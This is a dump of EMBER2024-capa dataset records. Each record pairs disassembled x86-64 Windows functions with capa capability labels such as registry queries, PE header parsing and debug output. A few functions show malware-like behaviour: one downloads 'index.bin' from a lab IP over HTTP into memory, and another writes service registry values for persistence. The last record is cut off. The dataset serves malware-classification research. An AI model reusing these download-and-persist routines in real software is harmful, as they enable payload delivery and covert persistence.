joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140070e80
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x13c0]
mov eax, 0x14c0
call fcn.1400ad9b0
sub rsp, rax
mov r15, r8
mov r14d, edx
mov rsi, rcx
mov r12, qword [rbp + 0x1428]
xor edi, edi
mov word [rbp + 0x3c0], di
mov byte [rbp - 0x40], dil
mov rbx, qword [rbp + 0x1430]
mov ecx, dword [rbx]
mov dword [rsp + 0x28], ecx
mov eax, dword [rbx + 4]
mov dword [rsp + 0x2c], eax
call fcn.1400663e0
mov r13d, eax
mov dword [rsp + 0x20], 3
mov ecx, edi
mov eax, 8
cmp byte [rbx + 8], cl
cmovne ecx, eax
mov dword [rsp + 0x24], ecx
mov ecx, 1
lock xadd dword [0x1400f06d0], ecx
inc ecx
mov dword [rsp + 0x30], ecx
mov rcx, qword [rbp + 0x1438]
test rcx, rcx
je 0x140070f20
cmp word [rcx], di
mov qword [rsp + 0x38], rcx
jne 0x140070f25
mov qword [rsp + 0x38], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x60], r14d
mov dword [rsp + 0x64], r13d
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], rsi
mov qword [rsp + 0x68], rdi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x70], xmm1
mov qword [rbp - 0x80], rax
mov rax, qword [0x1400f06b8]
test rax, rax
je 0x140070f82
call rax
mov qword [rbp - 0x60], rax
jmp 0x140070f86
mov qword [rbp - 0x60], rdi
mov rax, qword [0x1400f0628]
test rax, rax
je 0x140070f99
lea rcx, [rsp + 0x20]
call rax
mov rax, qword [0x1400f0668]
test rax, rax
je 0x140070fb6
mov r8d, 0x400
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x20]
call rax
mov rax, qword [0x1400f0650]
test rax, rax
je 0x140070fc9
lea rcx, [rsp + 0x20]
call rax
mov rax, qword [0x1400f0680]
test rax, rax
je 0x140070fe3
test byte [rsp + 0x24], 2
jne 0x140070fe3
lea rcx, [rsp + 0x20]
call rax
cmp dword [rsp + 0x28], edi
jl 0x140070fff
mov dword [rsp + 0x28], 0x8000ffff
mov ecx, 0x8000ffff
call fcn.140066610
mov dword [rsp + 0x2c], eax
cmp byte [0x1400f0600], dil
jne 0x14007102b
mov rax, qword [0x1400f05f8]
test rax, rax
je 0x14007101b
call rax
movzx edi, al
jmp 0x140071027
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
setne dil
test edi, edi
je 0x140071032
test byte [rsp + 0x24], 2
je 0x140071055
mov rax, qword [0x1400f0618]
test rax, rax
je 0x1400710ab
cmp byte [0x1400f0640], 0
jne 0x1400710ab
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call rax
jmp 0x1400710ab
mov rax, qword [0x1400f0618]
test rax, rax
je 0x14007107e
cmp byte [0x1400f0640], 0
jne 0x14007107e
mov r8d, 0x800
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x20]
call rax
cmp word [rbp + 0x3c0], 0
jne 0x14007109e
lea r8, [rsp + 0x20]
mov edx, 0x800
lea rcx, [rbp + 0x3c0]
call fcn.140065f80
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test byte [rsp + 0x24], 4
jne 0x1400710bb
cmp byte [0x1400f0610], 0
je 0x1400710ca
mov rax, qword [0x1400f0670]
test rax, rax
je 0x1400710ca
call rax
nop
lea rcx, [rsp + 0x20]
call fcn.140067a50
int3
Function at 0x1400a5f9c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400a6020
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400bbe90]
cmp byte [rcx + rax], 0
je 0x1400a6020
dec r8
sub rdx, 1
jne 0x1400a6006
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400a6f74
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400a6fbe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400a6fbe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400a6fbe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400a6fbe
cmp dword [rcx + 0x84], 0xe
jbe 0x1400a6fbe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400a6fc0
xor al, al
add rsp, 0x28
ret

Function at 0x1400aa050
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x5090
call fcn.1400ad9b0
sub rsp, rax
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rax, qword [0x1400e9010]
xor rax, rsp
mov qword [rsp + 0x5080], rax
mov esi, r9d
mov rax, r8
mov ebx, edx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
lea rcx, vtable.MFX::MFXVector_class_MFX::PluginDescriptionRecord_.0
mov qword [rdi], rcx
xor ecx, ecx
mov qword [rdi + 8], rcx
mov dword [rdi + 0x10], ecx
lea rcx, vtable.MFX::MFXPluginStorageBase.0
mov qword [rdi], rcx
mov dword [rdi + 0x18], edx
lea rcx, vtable.MFX::MFXDefaultPlugins.0
mov qword [rdi], rcx
mov r8d, 0x1000
lea rdx, [rsp + 0x3080]
mov rcx, qword [rax + 0x530]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400aa186
lea edx, [rax + 0x5c]
lea rcx, [rsp + 0x3080]
call sub.VCRUNTIME140.dll_wcsrchr
lea r9, [rsp + 0x3080]
test rax, rax
cmovne r9, rax
lea rax, [rsp + 0x3080]
mov rcx, r9
sub rcx, rax
sar rcx, 1
inc ecx
lea eax, [rcx + 0x19]
cmp eax, 0x1000
jae 0x1400aa186
mov edx, 0x1000
sub edx, ecx
lea rcx, [r9 + 2]
mov r8d, esi
call fcn.1400ac330
lea rcx, [rsp + 0x3080]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400aa186
xor edx, edx
mov r8d, 0x3040
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov word [rsp + 0x3070], 0x100
mov dword [rsp + 0x4c], ebx
lea r8, [rsp + 0x3080]
mov edx, 0x1000
lea rcx, [rsp + 0x70]
call sub.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400aacc0
nop
mov rax, rdi
mov rcx, qword [rsp + 0x5080]
xor rcx, rsp
call fcn.1400a6140
add rsp, 0x5090
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400acbc0
Capabilities:
Query or enumerate registry key

Disassembly:
sub rsp, 0x48
mov rcx, qword [rcx]
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
sete al
add rsp, 0x48
ret

Function at 0x1400acc80
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x1400e9010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, qword [rsp + 0x90]
xor r14d, r14d
mov dword [rsp + 0x30], r8d
mov rsi, r9
mov ebp, r8d
test rbx, rbx
je 0x1400accb9
mov edi, dword [rbx]
jmp 0x1400accbc
mov edi, r14d
mov rcx, qword [rcx]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rbx
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1400accdf
xor al, al
jmp 0x1400acd5c
cmp dword [rsp + 0x30], ebp
jne 0x1400accdb
lea eax, [rbp - 1]
cmp eax, 1
ja 0x1400acd23
test rsi, rsi
je 0x1400acd23
test rbx, rbx
je 0x1400acd23
cmp edi, 2
jb 0x1400accdb
mov edx, dword [rbx]
mov ecx, edi
lea rax, [rcx - 2]
cmp rax, rdx
jae 0x1400acd16
shr rcx, 1
dec rcx
mov word [rsi + rcx*2], r14w
jmp 0x1400acd5a
mov rcx, rdx
shr rcx, 1
mov word [rsi + rcx*2], r14w
jmp 0x1400acd5a
cmp ebp, 7
jne 0x1400acd5a
test rsi, rsi
je 0x1400acd5a
test rbx, rbx
je 0x1400acd5a
cmp edi, 4
jb 0x1400accdb
mov edx, dword [rbx]
mov ecx, edi
lea rax, [rcx - 4]
cmp rax, rdx
jae 0x1400acd4c
shr rcx, 1
dec rcx
jmp 0x1400acd55
mov rcx, rdx
shr rcx, 1
inc rcx
mov dword [rsi + rcx*2 - 2], r14d
mov al, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400a6140
add rsp, 0x40
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400010d0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov rax, qword [0x140023008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor esi, esi
mov r13, r8
mov r12, rdx
mov dword [rsp + 0x30], esi
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
lea r14d, [rsi + 1]
mov edi, esi
mov ebx, esi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x140001139
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetOpenW_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, esi
jmp 0x1400012b3
mov qword [rsp + 0x28], rsi
lea rdx, str.http:__192.168.56.102_index.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x400
xor r8d, r8d
mov qword [rsp + 0x80], r15
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x1400011a2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetOpenUrlW_Failed_With_Error_:__d__n
call fcn.140001010
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
lea edx, [r15 + 0x27]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, esi
jmp 0x1400012ab
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x140001273
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000125f
nop dword [rax]
mov edx, dword [rsp + 0x30]
add rdi, rdx
test rbx, rbx
jne 0x1400011f7
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x140001209
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x140001273
mov r8d, dword [rsp + 0x30]
mov rcx, rax
sub rcx, r8
mov rdx, rsi
add rcx, rdi
call fcn.140003600
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rsi
call fcn.140002730
cmp dword [rsp + 0x30], 0x400
jb 0x1400012cf
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400011e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetReadFile_Failed_With_Error_:__d__n
call fcn.140001010
xor r14d, r14d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rsi, rsi
je 0x1400012a8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r14d
mov r15, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001640
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov qword [r12], rbx
mov qword [r13], rdi
jmp 0x140001276
Function at 0x140002034
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000207e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000207e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000207e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000207e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000207e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002080
xor al, al
add rsp, 0x28
ret

Function at 0x1400091a4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140008f94
Function at 0x14000e608
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000e638
xor eax, eax
jmp 0x14000e6fb
mov rbp, rbx
cmp word [rax], si
je 0x14000e65d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000e644
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000e640
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000e558
movsxd r14, eax
test eax, eax
jne 0x14000e69b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000e631
mov rcx, r14
call fcn.14000ac9c
mov rdi, rax
test rax, rax
jne 0x14000e6b4
xor ecx, ecx
call fcn.14000a028
jmp 0x14000e690
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000e558
test eax, eax
jne 0x14000e6e5
mov rcx, rdi
call fcn.14000a028
jmp 0x14000e6ef
xor ecx, ecx
call fcn.14000a028
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140012b0c
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x140024560]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x140012b6a
cmp word [rdx], r12w
jne 0x140012b6a
or byte [rax + r8*8 + 0x38], cl
jmp 0x140012b70
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x140012ccb
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x140012ca6
lea r9, [rcx + 2]
cmp ax, r13w
je 0x140012ba9
mov rcx, r9
jmp 0x140012bcc
cmp r9, rdx
jae 0x140012be3
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x140012b8d
jmp 0x140012ccb
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140012ca0
cmp dword [rsp + 0x80], edi
je 0x140012ca0
mov rdx, r14
lea r11, [0x140024560]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x140012c79
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x140012c4c
mov word [rbx], r12w
jmp 0x140012cc7
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x140012c55
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x140012cc7
cmp word [rsp + 0x70], r12w
jne 0x140012c86
cmp rbx, rsi
je 0x140012c46
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.140014bb8
cmp word [rsp + 0x70], r12w
je 0x140012ccb
mov word [rbx], r13w
jmp 0x140012cc7
lea r11, [0x140024560]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140012cc3
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x140012ccb
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001447c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000d65c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140014506
cmp byte [rbp - 0x21], r15b
je 0x140014501
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001453c
call fcn.14000a27c
test eax, eax
jne 0x140014528
cmp byte [rbp - 0x21], r15b
je 0x140014520
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001453c
cmp byte [rbp - 0x21], r15b
je 0x140014539
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000cc38
test eax, eax
jne 0x1400145dc
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000d65c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001457b
cmp byte [rbp - 0x21], r15b
je 0x1400145b0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400145b0
call fcn.14000a27c
test eax, eax
jne 0x14001459c
cmp byte [rbp - 0x21], r15b
je 0x140014595
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400145b0
cmp byte [rbp - 0x21], r15b
je 0x1400145ad
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000cc38
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400145dc
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400145df
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400145ed
mov rcx, rdi
call fcn.14000a028
cmp byte [rbp + 0x3f], r15b
je 0x1400145fc
mov rcx, qword [rbp + 0x27]
call fcn.14000a028
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140016bd0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140016bf8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140016bf8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400026b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x140045010]
xor rax, rsp
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.HARDWARERESOURCEMAPSystem_ResourcesPhysical_Memory
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
xor r8d, r8d
lea rdx, str..Translated
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [rsp + 0x78]
mov ecx, eax
call fcn.14001644c
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x88]
xor r8d, r8d
lea rdx, str..Translated
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x38]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x30], 0
jmp 0x1400027a7
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x30], eax
jae 0x1400027e3
mov rax, qword [rsp + 0x40]
add rax, 8
mov r9, rax
mov r8, qword [rsp + 0x40]
lea rdx, [rsp + 0x68]
lea rcx, [0x140046100]
call fcn.14000a160
mov rax, qword [rsp + 0x40]
add rax, 0x14
mov qword [rsp + 0x40], rax
jmp 0x14000279d
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call fcn.140015f20
cmp qword [rsp + 0x50], 0
jne 0x14000280a
mov qword [rsp + 0x60], 0
jmp 0x14000281d
mov qword [rsp + 0x38], 0x8123
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140015f00
add rsp, 0xa8
ret
Function at 0x140003bb0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x140045010]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov eax, 4
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rax + rcx]
cmp dword [0x140045db8], eax
jle 0x140003c27
lea rcx, [0x140045db8]
call fcn.1400160b0
cmp dword [0x140045db8], 0xffffffff
jne 0x140003c27
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [0x140045dc8]
call fcn.140007320
lea rcx, [0x140017bf0]
call fcn.140016434
nop
lea rcx, [0x140045db8]
call fcn.140016050
lea rcx, [0x140045dc8]
call fcn.140007000
lea r8, [rsp + 0x38]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [rsp + 0x24], eax
mov rcx, qword [rsp + 0x60]
call fcn.140007000
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x140003c92
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x140003c92
mov dword [rsp + 0x20], 1
jmp 0x140003c9a
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140015f00
add rsp, 0x58
ret
Function at 0x140003cc0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [0x140045010]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rsp + 0x68]
call fcn.140007320
nop
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x68]
call fcn.1400071a0
lea rcx, [rsp + 0x68]
call fcn.140007000
lea r8, [rsp + 0x58]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140003d4a
mov byte [rsp + 0x34], 0
lea rcx, [rsp + 0x68]
call fcn.1400071d0
movzx eax, byte [rsp + 0x34]
jmp 0x140003f00
mov byte [rsp + 0x60], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140003da0
mov byte [rsp + 0x35], 0
lea rcx, [rsp + 0x68]
call fcn.1400071d0
movzx eax, byte [rsp + 0x35]
jmp 0x140003f00
mov byte [rsp + 0x61], 3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x61]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140003df6
mov byte [rsp + 0x36], 0
lea rcx, [rsp + 0x68]
call fcn.1400071d0
movzx eax, byte [rsp + 0x36]
jmp 0x140003f00
mov byte [rsp + 0x62], 3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x62]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140003e4c
mov byte [rsp + 0x37], 0
lea rcx, [rsp + 0x68]
call fcn.1400071d0
movzx eax, byte [rsp + 0x37]
jmp 0x140003f00
